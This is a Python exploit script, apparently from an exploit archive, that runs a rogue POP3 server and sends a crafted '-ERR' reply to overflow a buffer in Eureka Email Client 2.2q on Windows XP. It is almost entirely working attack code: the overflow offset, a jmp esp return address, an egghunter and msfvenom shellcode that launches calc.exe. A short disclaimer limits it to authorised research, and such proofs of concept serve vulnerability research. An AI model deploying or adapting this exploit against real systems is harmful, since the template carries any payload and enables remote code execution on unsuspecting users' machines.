'''
	Exploit Scripter: Abhilash Nigam
	Vulnerable Software: Eureka Email Client 2.2q
		Available Here: https://www.exploit-db.com/apps/2b0e55c58e1355c4bd0143d06ce3d239-EurekaEmailSetup.exe
	Payload: windows/exec CMD=calc.exe
	System Info: Windows XP SP3

	Disclaimer: PLEASE! This is for research purposes only, and should only be used on authorized systems.
				Accessing a computer system or network without authorization or explicit permission is illegal.
'''

#!/usr/bin/python

import socket
import os
import sys

egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
			 "\x62\x33\x33\x66"					#egghunter : b33f
			 "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

# msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00'
buf =  "b33fb33f"
buf +=  b""
buf += b"\xbd\xfc\x5d\xdb\xfe\xd9\xce\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x31\x31\x68\x13\x03\x68\x13\x83\xc0\xf8\xbf"
buf += b"\x2e\x02\xe8\xc2\xd1\xfb\xe8\xa2\x58\x1e\xd9\xe2\x3f"
buf += b"\x6a\x49\xd3\x34\x3e\x65\x98\x19\xab\xfe\xec\xb5\xdc"
buf += b"\xb7\x5b\xe0\xd3\x48\xf7\xd0\x72\xca\x0a\x05\x55\xf3"
buf += b"\xc4\x58\x94\x34\x38\x90\xc4\xed\x36\x07\xf9\x9a\x03"
buf += b"\x94\x72\xd0\x82\x9c\x67\xa0\xa5\x8d\x39\xbb\xff\x0d"
buf += b"\xbb\x68\x74\x04\xa3\x6d\xb1\xde\x58\x45\x4d\xe1\x88"
buf += b"\x94\xae\x4e\xf5\x19\x5d\x8e\x31\x9d\xbe\xe5\x4b\xde"
buf += b"\x43\xfe\x8f\x9d\x9f\x8b\x0b\x05\x6b\x2b\xf0\xb4\xb8"
buf += b"\xaa\x73\xba\x75\xb8\xdc\xde\x88\x6d\x57\xda\x01\x90"
buf += b"\xb8\x6b\x51\xb7\x1c\x30\x01\xd6\x05\x9c\xe4\xe7\x56"
buf += b"\x7f\x58\x42\x1c\x6d\x8d\xff\x7f\xfb\x50\x8d\x05\x49"
buf += b"\x52\x8d\x05\xfd\x3b\xbc\x8e\x92\x3c\x41\x45\xd7\xb3"
buf += b"\x0b\xc4\x71\x5c\xd2\x9c\xc0\x01\xe5\x4a\x06\x3c\x66"
buf += b"\x7f\xf6\xbb\x76\x0a\xf3\x80\x30\xe6\x89\x99\xd4\x08"
buf += b"\x3e\x99\xfc\x6a\xa1\x09\x9c\x42\x44\xaa\x07\x9b"


buffer = "A" * 709
buffer += "\x9e\x1d\xf3\x77" 					#Setting EIP to  jmp esp address  
buffer += "\x90" * 20							#Setting some NOP sled
buffer += egghunter
buffer += "C" * 1000
buffer += buf

cmd = "-ERR" + buffer

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.bind(('', 110))
	s.listen(1)
	print ("[*] Listening on port 110.")
	print ("[*] Have someone connect to you.")
	print ("[*] Type <control>-c to exit.")
	conn, addr = s.accept()
	print '[*] Received connection from: ', addr

	while 1:
		conn.send(cmd)
	conn.close()
except:
	print ("[*] Done. Wait a bit for the egghunter.")